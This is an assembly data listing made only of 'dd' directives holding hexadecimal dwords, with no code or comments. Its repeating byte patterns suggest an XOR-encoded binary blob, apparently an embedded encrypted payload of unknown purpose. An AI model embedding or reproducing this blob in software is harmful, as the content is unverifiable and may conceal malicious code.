dd 578EB759h, 2CBE3256h, 0D5B1325Ah, 0EAB7B959h, 0F8BE3256h
dd 0BAB13256h, 0A8BD6FDDh, 0AB3E3D36h, 31B13256h, 85FDC2D7h
dd 8A3853AEh, 64BECA5Ah, 75B13247h, 5257B836h, 5DB13251h
dd 0B12E1A5Ah, 80C5169h, 0BF76B137h, 2A37DBA3h, 68BECDA9h
dd 75B13245h, 0BAB8DB36h, 0AE733256h, 0EE965718h, 58DD269Dh
dd 0CDD0F8E1h, 0B5492CDDh, 0EAB138BEh, 68AAF956h, 672A9FF0h
dd 0D6CA9B86h, 503A6DAEh, 0BF4AB237h, 0A82CB659h, 2CD13256h
dd 7DCF8A36h, 0F4D72E7Bh, 0DB5CF68Fh, 0A631CE37h, 2A353DBFh
dd 58B13255h, 0ABB13AD4h, 0D7383D56h, 8AB13256h, 9E4AB237h
dd 0B9DCB659h, 0DABE3256h, 0AEB13241h, 57B120BFh, 0C4F71A56h
dd 18D8169h, 2BA1CDC6h, 99B50BCAh, 3AA43765h, 0D9BED0ADh
dd 0AEB13168h, 0B44AB2A3h, 0A8A6B659h, 5FBE3256h, 0EAB13257h
dd 8E3054AEh, 3EBED131h, 5DB13174h, 0AF353D36h, 0AEB13256h
dd 510E3D06h, 3231530Dh, 0F2333DA6h, 9CB13256h, 0BAB13245h
dd 9E586306h, 0EBAD14BEh, 0D26F3996h, 5C988515h, 0B36CD372h
dd 6ABEC9D7h, 7740B659h, 36BE3256h, 5DB1324Fh, 0AEB126BFh
dd 0CB87C56h, 32521F46h, 0CDD25EC8h, 0C52E0AC0h, 8AF1698Fh
dd 4A52B216h, 71B336h, 0C8FF482Ah, 37D0CCDDh, 0A4D146E5h
dd 2131CAE1h, 6AD05389h, 0F1BE42ADh, 0BAB130F9h, 5DB121BFh
dd 0ED547956h, 0F631FE01h, 0B6A600EEh, 4855A31Ch, 0C89C9B8Ch
dd 9CAFB930h, 0BAB1325Ah, 4E325B15h, 0BA0C79F0h, 35853E38h
dd 0CB49D1D6h, 6D4AB237h, 0EB74B659h, 9CD13256h, 0BAB13258h
dd 6E327BB9h, 3861F604h, 62319216h, 7C308A60h, 90443D4Dh
dd 0EF8FB237h, 7410B659h, 3AD13256h, 3BE3A3BBh, 0CFEAE5DDh
dd 589C0CD6h, 0ABB0BCD2h, 6ABE5256h, 0EABADBADh, 23453256h
dd 8D4433C3h, 91C2643Ch, 9031532Ah, 27353D3Eh, 42B13257h
dd 0D5B1325Dh, 0ACA85F91h, 0CF7CB958h, 0DAC418E3h, 0A8638559h
dd 7E33CD37h, 37B724C2h, 0ABA9B559h, 0C6583256h, 0BEB13256h
dd 0CD6B301Eh, 0C7CF8FD3h, 0FBCFF6A6h, 64007EDEh, 31D0A67Dh
dd 43D12CDDh, 0D5B13251h, 0B96F83CEh, 2287125Eh, 3BD76908h
dd 3C4AA2B0h, 5B49D5D6h, 57B6B559h, 24BE3256h, 0D5B13257h
dd 113054AEh, 0F1BEDAD7h, 0BAB132A9h, 5DB13EBFh, 5915DE56h
dd 0A56CAF6Fh, 41743656h, 0CB3A54FDh, 1C0E3D36h, 14468559h
dd 0B541D5D6h, 5DB13EDDh, 0A8383D56h, 58B13256h, 0ABB132D4h
dd 2E305456h, 6EBEF2D7h, 75B13295h, 0BAB9B659h, 0D0BE3256h
dd 0AEB13254h, 0D6BE5336h, 0ABB13257h, 0C45852AAh, 5DB13256h
dd 0FC15EC9Eh, 0A2E9B645h, 95211523h, 8E2742F7h, 3141B936h
dd 0A1A1E2D7h, 54BE6737h, 0EAB13251h, 75B0B359h, 45443256h
dd 4B23DBC4h, 0A7393D50h, 37B13256h, 0CD0ECBEDh, 0B449B93Eh
dd 0EAA5DB0Bh, 630F3256h, 4CBA8A56h, 0BE2D71AAh, 78596168h
dd 20C09866h, 0EE380CF9h, 0DD333DAAh, 8AB13256h, 0CFD76A04h
dd 0DBD00F73h, 5DB13DBFh, 412B4A56h, 26808626h, 3DB1E67Ah
dd 4A1415A6h, 0EB4D4FD5h, 7462B759h, 52D13256h, 5DB13246h
dd 68171630h, 69F22Ah, 0DE3CA55Dh, 14A6042Ch, 89410BE8h
dd 0CED76871h, 31D0B5EBh, 4DBAA7ECh, 0AF393D50h, 0AEB13256h
dd 293AC706h, 0D3A7A686h, 0EAA3B959h, 9CD13256h, 0BAB1325Fh
dd 101F2C3Fh, 0A02F9938h, 36EF6085h, 53810E6Fh, 0AF333D0Eh
dd 12B13257h, 5756B336h, 30F0612Eh, 0E73A539Eh, 0A8A11BA7h
dd 0A665B236h, 0FBD06D05h, 0B5EE6236h, 8C42B930h, 14D0FCDDh
dd 2E61B0DDh, 64443440h, 2ABE026Ah, 57B13257h, 24BE6AAEh
dd 0D5B1336Bh, 0EAB138BFh, 6CA11556h, 0F0206A95h, 0B49FC4ABh
dd 0AEB13271h, 0AFF4F5AEh, 0ABB13254h, 0D5BBBC59h, 8CD13256h
dd 420EFCDDh, 0DB9F961Dh, 5DB138BFh, 0EB76CA56h, 57B133AEh
dd 2049CA56h, 0C320CCECh, 6FBE5250h, 75B13254h, 31D0D6E6h
dd 4D3A3D49h, 0A1B13256h, 57B138D5h, 0ABB4DB56h, 0A3013256h
dd 0E1380723h, 0A7353D8Dh, 53B13256h, 5DB13245h, 660239F5h
dd 0A55E5E9Ch, 0F0CB4A5Ch, 0CED6957Dh, 0D10E0B6Fh, 0C343D88h
dd 4FB13256h, 52BD6FDDh, 0AEB124D1h, 57A0DB56h, 0C4993256h
dd 4A6B3177h, 3733D5C7h, 3C410A67h, 39B9CB68h, 52B1CA2Bh
dd 0AEB11AD2h, 0DCD75256h, 0ABA1DBAFh, 2F823256h, 46470965h
dd 0F8AB8DB4h, 0B57047ECh, 5ED00131h, 0A858CA0Bh, 0DBB13256h
dd 0A4DB6405h, 0D1EEBB20h, 0EAB120BFh, 0E5105A56h, 5EA0DE34h
dd 5BB93B4Bh, 9226B676h, 5861D20Eh, 0ABB135D9h, 0D43A3D56h
dd 1FB13256h, 7AA5F5D5h, 0BAB120D5h, 513B3D56h, 47B13256h
dd 57B13251h, 5D8F8E2Ah, 3C3C38BFh, 154ECD71h, 897101AAh
dd 0BAB5D6BFh, 5DBADB56h, 832B3256h, 0E5280D83h, 59BDBE2Ah
dd 0CB3A54EFh, 0EAB120BFh, 0C5140C56h, 77D27D23h, 1BE6DF54h
dd 0CCFD717Ah, 589D7686h, 0ABB13DD6h, 0D5BBDB56h, 60353256h
dd 507824BFh, 0A1015989h, 0A1BD4FDDh, 0A15AC9D6h, 57B15CD2h
dd 0A43A3D56h, 3CB13256h, 0EAB1325Ch, 0F601B10Eh, 688231DEh
dd 0BE3115E4h, 0AF303DA6h, 0ABB13256h, 0A4C1C9D6h, 0D5B180D2h
dd 0EAA1DB56h, 3E6A3256h, 0F176B606h, 60C9515Ah, 0EDD006B7h
dd 23583925h, 0CBB13257h, 0DE5880E1h, 54B13256h, 91899D9h
dd 46D4279Bh, 52D0920Eh, 0AEB120DEh, 57BCDB56h, 4D363256h
dd 2F43F48h, 7CF82A6Ah, 0B3AD9CE9h, 7D48DB51h, 5DB13311h
dd 23BE3256h, 57B13251h, 0ABB0BF59h, 0DA483256h, 0EAB124DAh
dd 75A0DB56h, 4B13256h
dd 55130E77h, 0EEA237CFh, 53975251h, 205B6345h, 0DA58CE91h
dd 0BEB13256h, 0ADE003C2h, 0C56F1758h, 5FFBD7h, 6E322622h
dd 8158C753h, 0A4B13255h, 0D5B120D5h, 0EABCDB56h, 1DF23256h
dd 2DFE5B81h, 7708E977h, 0C824EB37h, 5FBE3591h, 0ABB121BFh
dd 534E6456h, 89BEAF75h, 0CAED0A5Bh, 0EF172782h, 8490977Fh
dd 2E4D2CDCh, 0E3D13DB5h, 0ABBDDB24h, 0F0673256h, 13FED980h
dd 0D3DB1519h, 0DAD0122Ah, 52D1CADDh, 0AEB132DDh, 36D05256h
dd 2B7AB237h, 0D5B122BFh, 84363256h, 0B1CA94Bh, 699889BBh
dd 0CD7AEE44h, 0AFEEBA3Ah, 57B13EBFh, 0D5DAAF56h, 7281BB55h
dd 0DE6EDA44h, 77F6F5A1h, 0BAB13256h, 5DB122BFh, 0C05DE356h
dd 0A9FC8CA2h, 2EAD5415h, 7356877Fh, 0E6373D41h, 7AB13256h
dd 0BAB134D2h, 5D303D56h, 25B13256h, 8F3A5291h, 0ABB121BEh
dd 47B8D556h, 22BBD06Fh, 0F098C76Dh, 0BBF9DB02h, 0A3A07464h
dd 0AEB1BC59h, 36EA3256h, 52B7F2D5h, 0D5B6B159h, 60D13256h
dd 0C560B2A8h, 0B852DB37h, 3B443256h, 3E210CD7h, 57FFB659h
dd 2B493256h, 50BEA268h, 0EAB13224h, 0FBBE5236h, 0BAB13256h
dd 0B369B330h, 14D75300h, 31D070D2h, 3B4E4CD7h, 0F0353DC6h
dd 8AB13256h, 13EAD1D6h, 53D0CADDh, 5DB13210h, 0AEB121BFh
dd 2B8BF256h, 8CE176A2h, 43281993h, 3A8321D9h, 316BB462h
dd 5348F5DDh, 5DB130D7h, 0E80F5436h, 57B7DA1Dh, 0F01A3256h
dd 0DE4E034Ch, 0EAB13DBFh, 3E08A856h, 0A717BF18h, 0A5068E95h
dd 3F5DD005h, 0D53C530Ch, 0ADA7A7D9h, 0D5B138BFh, 7063B956h
dd 0D9638F87h, 0EA1B9EA8h, 0DBBE64A3h, 0AEB13257h, 5B3D3DAEh
dd 0A4B13256h, 0D5B134D6h, 0EA313D56h, 8AB13256h, 0AC2238C4h
dd 0DCD75250h, 250CEE99h, 97BA53A1h, 0ABD4B659h, 5EBE3256h
dd 0EAB13241h, 75B120BFh, 87A42756h, 0C7F48C6Ah, 1C7CA1FCh
dd 58FC3B5Eh, 20F8F2C5h, 0C759529Eh, 77B13256h, 0BA395D0Fh
dd 5C0EAC3Ch, 0E9FBF10h, 64D6428Eh, 0DDEFCAD7h, 193C53B7h
dd 0D3A7A7D9h, 0EB3B3DAEh, 8CB13256h, 0BAB1B1BFh, 5DA0DB56h
dd 0B8E53256h, 663A8018h, 941506C8h, 4E41C8C8h, 0BC2FA460h
dd 75B6DA36h, 0E3EB3256h, 4C90D38h, 0F0D052AAh, 993A53A3h
dd 0A4E4CBA3h, 0D5B133D5h, 784ECB56h, 73A7A0BFh, 0BAB4B659h
dd 0D7D13256h, 0F3D0CB88h, 587F19A3h, 0ABB13DD2h, 0D5BBDB56h
dd 6A8A3256h, 6D115A50h, 182D863Bh, 0DCD76036h, 0F6E5119Ch
dd 0A268C537h, 0ABB0B959h, 8B483256h, 0EABBBE59h, 15D13256h
dd 0FF5EB337h, 3CCFC46Fh, 0AF494FD5h, 5738B759h, 0A3583256h
dd 6AB13256h, 0D7BA8773h, 0C5FFF9D4h, 35BECE1Fh, 5DB13257h
dd 28BE98AAh, 57B1325Ah, 0ABB7BA59h, 55BE3256h, 0EAB13256h
dd 0F0BE8A30h, 0BABBB659h, 0DCD13256h, 33102FBCh, 36778745h
dd 0A4499930h, 0B5B074E0h, 0EAB13ABFh, 0C4500256h, 3BFEB113h
dd 0EC08546Fh, 0CE1A53C4h, 0C49A06E8h, 6458530Fh, 0B5B13256h
dd 0EAA2DA00h, 0C0353256h, 710E2B02h, 1BF85A23h, 0C6CE9DE8h
dd 0F377AC25h, 0CAE96DA7h, 0D5B0B659h, 69493256h, 7AB3CA2Bh
dd 0BAB1A0D3h, 0E6075256h, 0A5095437h, 630B529Fh, 42F06264h
dd 0D5B1325Eh, 6BFD4A0Ah, 7EBFF4CEh, 531A5437h, 5DB1325Fh
dd 1505501Eh, 0F3EC2C20h, 53D15250h, 0FD93D0D7h, 0E5D044B2h
dd 75B126DAh, 0BABFDA56h, 0A7A63256h, 0FB02B459h, 97E7CB02h
dd 22FF3D64h, 6DD75308h, 8C48B659h, 75B4DBFDh, 0E2A13256h
dd 52D88002h, 57B074E0h, 57B139BFh, 1CAF2256h, 50BD274Ch
dd 6E02350Fh, 7D3A3DFDh, 0B5B13256h, 5DB130D2h, 47D05256h
dd 57B13240h, 0ABB0BA59h, 26443256h, 0ED3A3DF2h, 7AB13256h
dd 0BAB133DFh, 9A3ACA56h, 0C8D169AAh, 8E58E4D7h, 0F0E86200h
dd 3CD16B37h, 0EAB1325Ch, 40A92AD3h, 0ECCC2EE8h, 0D6D7E93Ah
dd 47EF538Ch, 57B1325Dh, 6B3E7FDFh, 0FFCAED23h, 0B5751A8Dh
dd 0F3085436h, 0BAA2DA75h, 74A63256h, 73E14841h, 7E8E97D1h
dd 56F35ED9h, 0DB7DF768h, 0B1D05227h, 15D1FB37h, 0BAB13DBFh
dd 6ADA4656h, 0E40A8AC6h, 97EAE99h, 0B1246B85h, 0B409C7D6h
dd 0E273C737h, 74393D56h, 42B13256h, 5258C703h, 0D4B13256h
dd 0F6BE9933h, 0D8AE713Bh, 0E6F88DF1h, 63AE1E6h, 75A7B359h
dd 0AB583256h, 0E1B13256h, 0BAAF1D98h, 95830E7h, 0BEE4C813h
dd 460055ABh, 0EA59CE36h, 2FB13256h, 7991D8D7h, 0DABE3440h
dd 0AEB13245h, 57BBDB36h, 3A93256h, 0C67F8A1Bh, 7B529715h
dd 7AD078E3h, 0BAB137D3h, 0E2BE5256h, 254D53A1h, 0DE4D3A13h
dd 0BD2342D4h, 0D5B4DB50h, 3F803256h, 9CA67B7Dh, 0BAB13245h
dd 632654DAh, 8E0EBA69h, 12E5B11h, 0FD0BE608h, 0B41A4C15h
dd 0EABBBA59h, 0F4D13256h, 72914BBDh, 3C82822Eh, 0A23C3D9Fh
dd 0BEB13256h, 0ABB13251h, 0E14AC936h, 2811DED5h, 13D13252h
dd 0A2C5D4D7h, 0A0768836h, 78315475h, 2D053C3h, 0ABB126BFh
dd 9C73B856h, 3D3550Eh, 8D24F5A8h, 0E7DDB2F7h, 924597ECh
dd 0CE5DB970h, 57B9DBA3h, 0A16D3256h, 80AD24F4h, 0E5D00271h
dd 75B13AD4h, 0B8373D56h, 3DB13256h, 5675B137h, 0DDBE52AAh
dd 0ABB1324Fh, 0D5B126BFh, 0DEF5AA56h, 0BD2D888Ch, 5C85C2DBh
dd 155F48ABh, 361C573Ah, 57B1DAB4h, 2AEB3256h, 0C37521BCh
dd 16D1CA50h, 74333D37h, 46B13256h, 5D497791h, 0CEB13256h
dd 0F46EB330h, 643054ADh, 12D00344h, 0EAB1CE13h, 0F5D13256h
dd 3BD7379Dh, 3CAB148Fh, 29BEF265h, 57B13251h, 91AF8836h
dd 3CD0363Dh, 0EAB13244h, 696DEFB9h, 98016E4Dh, 89A15EF3h
dd 0F48AB52h, 0DCD775E1h, 1E085248h, 0DA855074h, 0EAB137DBh
dd 84378C56h, 7DD04F35h, 4B25E2D4h, 0AEB13350h, 50373D56h
dd 0CBB13256h, 315336h, 6BD75375h, 7A21A2ADh, 0BAB12BD3h
dd 5DBCDB56h, 69833256h, 63E3318Fh, 63231CEh, 0DAC989C0h
dd 0EAB133DCh, 8E31C756h, 0A4353DBEh, 0B4B13253h, 0AEB13246h
dd 9BA6A9B9h, 0D3B63A96h, 0CB37307h, 920B4C26h, 75B126BFh
dd 73418A56h, 0E2A4ED59h, 0B973B241h, 254570FBh, 0D318AD74h
dd 0D25872C5h, 0B5B13256h, 0B4641576h, 41317239h, 87353DBFh
dd 5BB13252h, 0D3BE5216h, 0ABB13259h, 0D5B138BFh, 0EDF12156h
dd 66B51436h, 0B54ED807h, 5DB130DFh, 0CF218056h, 585AC9D6h
dd 0ABB582D2h, 3CD1CE56h, 0EAB13251h, 0BB67FC53h, 0ECC69E77h
dd 0F9A6FAD7h, 0CFE802D4h, 57BDDB16h, 6F783256h, 0D609FA97h
dd 19A15335h, 9231C642h, 0BB343DA6h, 0A1B13256h, 0A14AB330h
dd 25353DD6h, 0CBB13252h, 0B3EBC704h, 0E9D0C1DDh, 659BF3D4h
dd 0B2363D50h, 52B13256h, 0AEB130D2h, 0BED05256h, 0ABB13258h
dd 8BEEA222h, 0E6B3E035h, 6583615Eh, 4FF140ACh, 5253C9D6h
dd 0AEB51BD2h, 57BFDB56h, 8C673256h, 0FF2A02Dh, 0C5AF0A09h
dd 60850738h, 0B552C9D6h, 5DB2D3D2h, 0CF445256h, 304AB330h
dd 54353DB5h, 3CB13255h, 0EAB13250h, 0CE0A15C0h, 5931F9B9h
dd 0DC4952A6h, 43D0409Ch, 0AC31533Ch, 45353D26h, 3CB13255h
dd 0EAB13242h, 43607759h, 8862FB6Ah, 33E49FC6h, 0CB022415h
dd 0B2617B1Ch, 0ABA5B159h, 51BE3256h, 0EAB13258h, 75B13BBFh
dd 825AFB56h, 5A9B1DCCh, 25D7A11Ch, 0B431CB48h, 5031CBAEh
dd 70353DEEh, 3B13257h, 75B1325Ch, 6BA2B68Ah, 0B5395042h
dd 9031E2E3h, 0DA353D53h, 0A4B13257h, 0D5B12CD3h, 62BE5256h
dd 75B13256h, 0BAB122BEh
dd 0D28D0E56h, 3EED498Fh, 0D7D49381h, 0D81B056h, 0DAD06BCCh
dd 0EAB13ED3h, 73343D56h, 0B5B13256h, 5DB132D7h, 838FB256h
dd 56FFB659h, 0A2583256h, 17B13256h, 8D951F55h, 0C4858318h
dd 0B03D3D36h, 0B4B13256h, 0AEB13253h, 4728BF45h, 4B0A54CDh
dd 0EB3153BCh, 0CB353D3Eh, 89B13257h, 0E1E75216h, 3C45C7D6h
dd 3A61B0A9h, 37D13440h, 2AD7E1DDh, 0B46F908Eh, 0F43A5437h
dd 75B9BE59h, 3BBE3256h, 5DB13254h, 0C8D15336h, 3DDCF4D7h
dd 16EE9D7h, 55D023E0h, 0E658CAB1h, 4AB13256h, 8C4554BDh
dd 68EABE8Fh, 0C8CF70C9h, 0BF30C9D7h, 0AB7BB659h, 0B5D13256h
dd 6757B330h, 14EF608Eh, 0BAB0BC59h, 3C443256h, 56AFB930h
dd 3741D5D6h, 0CA4B8559h, 0D5B134BFh, 0C6EE1C56h, 13D0EA9Ch
dd 7A30C9D7h, 5D27B659h, 24BE3256h, 57B13240h, 0ABB123BFh
dd 0EC0E6556h, 0E9E748C3h, 27B6B0B7h, 6B1FE846h, 545871BFh
dd 45B13256h, 4D6D0143h, 7714E0DAh, 0DAE4CE36h, 0EAB12AD0h
dd 70595256h, 67B13256h, 748E97D1h, 0AEB4DA0Fh, 4DCD3256h
dd 0F02A057Ah, 3C23CD37h, 12B724C4h, 0FC446FAFh, 34BECE13h
dd 5DB13251h, 0AEB0B259h, 364D3256h, 0ABB6B859h, 6BD13256h
dd 9C887DCAh, 89CCB137h, 1343D57h, 0B4B13250h, 0AEB13242h
dd 3DB062D8h, 84D999A6h, 7D153DDEh, 967957CFh, 0C9B9DDB4h
dd 0B12488DDh, 0D3BE3446h, 0AEB1325Eh, 57B3B259h, 0CAD13256h
dd 573AC706h, 0ECA7A686h, 7F3E3DAFh, 0DAB13256h, 0D7BEE3DDh
dd 0AEB13256h, 678D0B37h, 0ABBBB159h, 83D13256h, 0EA3D3D0Eh
dd 14B13256h, 0E1333D0Eh, 0B4B13250h, 0AEB13259h, 765A1225h
dd 0FCFE0B1h, 3B7235FFh, 8A4AAF61h, 0F513D1D6h, 31D077B0h
dd 4D98C3ECh, 0A6585250h, 0DEB13256h, 1B925946h, 0B3D50E35h
dd 0BAD0F9DDh, 75A5B959h, 30BE3256h, 5DB13258h, 0AEB13BBFh
dd 0B554FA56h, 0C2346E68h, 573AD07Bh, 0ECA7A686h, 75B126BFh
dd 6C2AE256h, 0E075387h, 60A6EFF6h, 976DF306h, 132C10AEh
dd 0E58D0B68h, 0EABFDA36h, 51E3256h, 97B89AA2h, 312269D4h
dd 0C8E5AE50h, 58E95336h, 0ABB136DEh, 0F2095456h, 0FA585336h
dd 2AB13256h, 60FF3C65h, 0D67475AAh, 0AB33CD24h, 0F7FE498h
dd 0AE1DBD59h, 5E483256h, 0FC2316ECh, 75A3DB50h, 1B8E3256h
dd 3917D0EBh, 0B4647428h, 0EF7AF67Dh, 55A57F7Ah, 0D5B13EBFh
dd 0F374BF56h, 291FCD38h, 0AFB7D503h, 7933B1B6h, 0BAB724C4h
dd 0DD0F5436h, 0A6B6892Bh, 5CD02225h, 64BE5261h, 75B13255h
dd 0DB4BB930h, 0B4A175DFh, 0AEB13258h, 6FA0CA33h, 977F3906h
dd 4F5F2EF7h, 0E5E1F5D3h, 75B13BD1h, 0B5485256h, 5DB132D1h
dd 25495356h, 4125E2D4h, 0ABB6DB50h, 81B03256h, 0D4543EA3h
dd 45ADB92Bh, 0BF3C3D36h, 0E7B13256h, 0C4B1A18Dh, 37D9EDD7h
dd 0F3D0054Bh, 0D5B7B559h, 0BDD13256h, 1471810Dh, 46B96DDFh
dd 5DB5CBBFh, 0AEBDDB56h, 94C33256h, 67DE6FFDh, 0FCE5776Eh
dd 0E1584550h, 0CBB13256h, 127A66B9h, 0CC2930F0h, 0EB76775Ch
dd 57B130AEh, 443B5256h, 0D5B13DBEh, 77B11356h, 6508E308h
dd 0AA5C372Dh, 86A05FD9h, 0B858530Dh, 58B13256h, 0ABB133D9h
dd 9076CE56h, 0EAB133AEh, 0CED75256h, 43067000h, 790BB937h
dd 0CEB724C4h, 84BA7E8h, 6A30542Eh, 56D08F00h, 0FC2316D4h
dd 0F5BE2650h, 0BAB13258h, 5DB13BBFh, 46D44B56h, 0FA2327BEh
dd 9C388B99h, 0C5F6BBAEh, 0E949B1AFh, 75CCB759h, 36BE3256h
dd 5DB1324Dh, 0AEA4B059h, 47583256h, 71B13256h, 2624EF1h
dd 387B5CFCh, 0C53640D5h, 0B566A0F1h, 5DB13CD6h, 60305256h
dd 37D3CFDEh, 0ABB1B259h, 12D03256h, 0FC25E2D4h, 75B13050h
dd 0B3595256h, 88B13256h, 5394C5B6h, 0C2DDAAA1h, 0BF596AAAh
dd 0C3B13256h, 8D949341h, 827F57Fh, 2759924Eh, 0D598BCA0h
dd 0A18A50AFh, 57B132D0h, 42D06A56h, 0D5B13241h, 0EAB0B759h
dd 0F6483256h, 37BE30AEh, 5DB1306Dh, 0AEB0B959h, 0D44D3256h
dd 0A4B1CA2Bh, 0D5B18DD2h, 0EAA0DB56h, 0F2563256h, 2AB08439h
dd 0DC6C6054h, 0AEEB91E9h, 37EC638Ah, 0ABB13BBFh, 33BDD256h
dd 0F9F30013h, 0DD038641h, 0FC073D37h, 5DBEDB57h, 3C9F3256h
dd 9EA8D40Eh, 39CA1580h, 0EDEEE815h, 0EA319B48h, 0F0BE3256h
dd 0BAB13202h, 8B305436h, 0CF443C3Bh, 57B9DB16h, 8FA53256h
dd 11962B7Ah, 2324EC1h, 743A3D53h, 43B13256h, 5DB10BBFh
dd 0AEBEDB56h, 2FC33256h, 0D80800C4h, 8C53FCCFh, 0EA5793F0h
dd 60383DBEh, 0B5B13256h, 5DB13DDAh, 0AEBBDB56h, 0A5EB3256h
dd 7E492B91h, 24EDD80Ah, 0EAB1CD7Bh, 9D32CE56h, 8558CA53h
dd 0B4B13256h, 0AEB13253h, 0F68DFC5Dh, 0AA3E3D4Ah, 20B13256h
dd 0EAA5DB05h, 8FB83256h, 0CF0FDE57h, 8489B2BBh, 0FF078D38h
dd 71B871C1h, 313A81F5h, 0D3A7A686h, 0D9B5B9A3h, 0F4D169AFh
dd 0BDE223BFh, 5D18534Fh, 0A1313256h, 57B1A8D3h, 0ABB9DB56h
dd 1DFA3256h, 5BF90C4h, 9DD10332h, 0BAB13247h, 2C467E50h
dd 0D7BE216Ch, 0B1606708h, 0DD06A866h, 43A5464h, 3C063D0Eh
dd 15773137h, 0B5688D59h, 5DB134DEh, 0AE353D56h, 36B13256h
dd 0A4B4F2D5h, 0D5B13BDDh, 203A5256h, 217BB330h, 38B25396h
dd 5BA7A686h, 5BD17AAFh, 0DBBE5237h, 0ABB13250h, 0C166E9D7h
dd 63D03E8Ah, 0FC493A11h, 0DCD13E11h, 0D5DAF9D7h, 47D0EADDh
dd 57B13004h, 0ABB0BE59h, 0B5443256h, 0EAB135BEh, 3806C556h
dd 98DD5DABh, 3BEBEADDh, 59D0C0DDh, 5B3D3D8Eh, 0A4B13256h
dd 0D5B134D5h, 0EA3C3D56h, 8DB13256h, 4D48F47Dh, 5DA2DB8Eh
dd 96A43256h, 265587C2h, 42EE233Fh, 6EE0A087h, 0F340406Bh
dd 7071B1A4h, 0BAB9B759h, 0D4BE3256h, 0AEB13254h, 0D5B25336h
dd 0ADA7A686h, 0B5D05236h, 0FF04D3DCh, 22D15337h, 30E8CBE4h
dd 0A1F953B5h, 0CEB975DFh, 57BDDB04h, 4C2D3256h, 0BCC6E931h
dd 0D9A7F179h, 0F4E9D7C1h, 0D55D71BEh, 1A385341h, 0A358525Ah
dd 0B2B13256h, 0E439DD34h, 47F631EAh, 90064CE1h, 7411DB37h
dd 89443256h, 1B3BCA96h, 23BE5257h, 57B13254h, 3D06D06h
dd 69343DD6h, 12B13256h, 75B0B559h, 0B94D3256h, 5DB8DB90h
dd 0A1F03256h, 0D17752B1h, 289F24A2h, 0C7583096h, 72B13256h
dd 0FDB5D7E4h, 87782C1Ch, 44C3271Eh, 0AD5E71ABh, 57B089DEh
dd 0A7583256h, 18B13256h, 604E9848h, 1E5D4EC4h, 0B14309B9h
dd 6E353D8Dh, 47B13256h, 57B13245h, 157C75E2h, 5301F2B2h
dd 3D039018h, 0AA1FB285h, 53C97A2Ch, 5DB1325Dh, 902437E5h
dd 72D9037Bh, 212D37DEh, 0C0018CCCh, 931C750h, 0B6B2C757h
dd 0B2F6BBAAh, 0DCD752AFh, 0C8ACAE95h, 0B804D4D7h, 0A7F6BB37h
dd 0D559DBAEh, 69BE3256h, 75B13241h, 0BAB120BFh, 45CA1756h
dd 0C87B0868h, 195144A3h, 6D359342h, 225941E4h, 0F8313D8Eh
dd 15B13256h, 0BAB135BEh, 0C3B77C56h, 97C8F2B5h, 9D3A540Fh
dd 0AB4E1737h, 5CBE3256h, 0EAB13258h, 75B13BBFh, 91EE3156h
dd 42EC295Dh, 25D1A0BBh, 5C333DA7h, 42B13256h, 0D5B13250h
dd 2EF25667h, 5ED06975h, 0A2333D90h, 0B4B13256h, 0AEB13245h
dd 6945DC78h, 2EBF4A28h, 1FC37E65h, 56D82078h, 825EEC43h
dd 0B13D3D8Eh, 0B4B13256h, 0AEB13250h, 0FD11F8F2h, 6B327CD7h
dd 0D5A0DB54h, 2A1D3256h, 886F417Eh, 1D144DF4h, 1923D067h
dd 27FCAD30h, 59583A11h, 0D6B13256h, 0E6F320A7h, 5F1E55h
dd 90B512D0h, 0B6F6BB30h
dd 5DA9BF59h, 0BD583256h, 9EB13256h, 513228EBh, 4B550EB5h
dd 0A409FFA7h, 1CE2470Ah, 5349ADA5h, 5DB13244h, 0A557E88Eh
dd 0AB75CCC2h, 69ADB5Fh, 0F0C7D258h, 3D01A60h, 75B1325Fh
dd 38E1CB60h, 17C5F936h, 4778CE14h, 57B13245h, 0A789EFE5h
dd 1FFC0008h, 2A9DEF29h, 487577FEh, 0DA8D8C03h, 527FB930h
dd 6DD0E4E9h, 57B139BFh, 656B0256h, 593C3ECBh, 0B6C9FE79h
dd 74333D03h, 4FB13256h, 52D1DEDDh, 0AEB134DCh, 57383D56h
dd 52B13256h, 2975B137h, 0E45852AEh, 7FB13256h, 7D4BAD4Bh
dd 7CA6A407h, 8633FA0Dh, 37D0C7F3h, 0ABB13DBFh, 0DA74E156h
dd 2A1845CDh, 0BE735E59h, 4A238458h, 5DB132BEh, 44306856h
dd 51A7FD7Ch, 95DF8D36h, 5ED70496h, 8CD153A4h, 0D563C0D7h
dd 440BB937h, 0A1B724C7h, 0A158FB65h, 0BEB13256h, 6A973580h
dd 0F1BBA40Ch, 0F529129Ch, 4A325D28h, 3C353D56h, 0B4B13253h
dd 0AEB1325Bh, 46E53F71h, 15670C4Ah, 517574E9h, 8AB6B96Dh
dd 75B3B659h, 0DBD13256h, 89CFEDD7h, 51D01A99h, 0D7BE3E23h
dd 0ABB13251h, 0D5B0BA59h, 0E5443256h, 75B13BD7h, 5BE5256h
dd 0B40E5484h, 0DB4E5389h, 5B353D5Eh, 0A4B13256h, 0D5B134DDh
dd 0EA3A3D56h, 25B13256h, 0BABDB359h, 0D9BE3256h, 0AEB13250h
dd 57B1BC59h, 434D3256h, 0D5B13B02h, 0E57139AEh, 75B17CD3h
dd 0BD313D56h, 3DB13256h, 0FED5E0D6h, 503A530Dh, 0ABB120BFh
dd 0D6E41256h, 273345B8h, 0BDC2A01Dh, 0CC9F145Ch, 52B7DF1Dh
dd 0AEB124DAh, 57A0DB56h, 0F7AB3256h, 0EA1ECC57h, 6B0DA7A5h
dd 4F92A73Eh, 53B0662Bh, 5DB13267h, 0AEB0BF59h, 0D4443256h
dd 0A4492691h, 0D5B13CDFh, 0EAB8DB56h, 108C3256h, 45A03B02h
dd 0B4B3D97Dh, 514ECD44h, 57B6B059h, 28BE3256h, 0D5B13257h
dd 16F4BBAEh, 8AD0CE36h, 35BE3E23h, 5DB1325Ch, 0A1498036h
dd 57B132D4h, 0DE4E5356h, 3330525Eh, 0BA73EE86h, 424E53A3h
dd 0BAB120BFh, 0E7306C56h, 0BF13D527h, 0B70D0C94h, 0E4B15142h
dd 3D95CD92h, 0EAB13AC6h, 75B0BE59h, 42493256h, 0D9BEF25Dh
dd 0AEB13243h, 538ADBAAh, 28BE3256h, 0D5B13257h, 55BE52AFh
dd 0AC3A54A8h, 46F4B937h, 52B60BAAh, 0AEB512D4h, 5C343D56h
dd 0CBB13256h, 0DA798559h, 0EAB132DBh, 304E5356h, 36BE52AAh
dd 5DB13241h, 0AEB123BEh, 67497C56h, 0FECE20EAh, 0C9789D2Eh
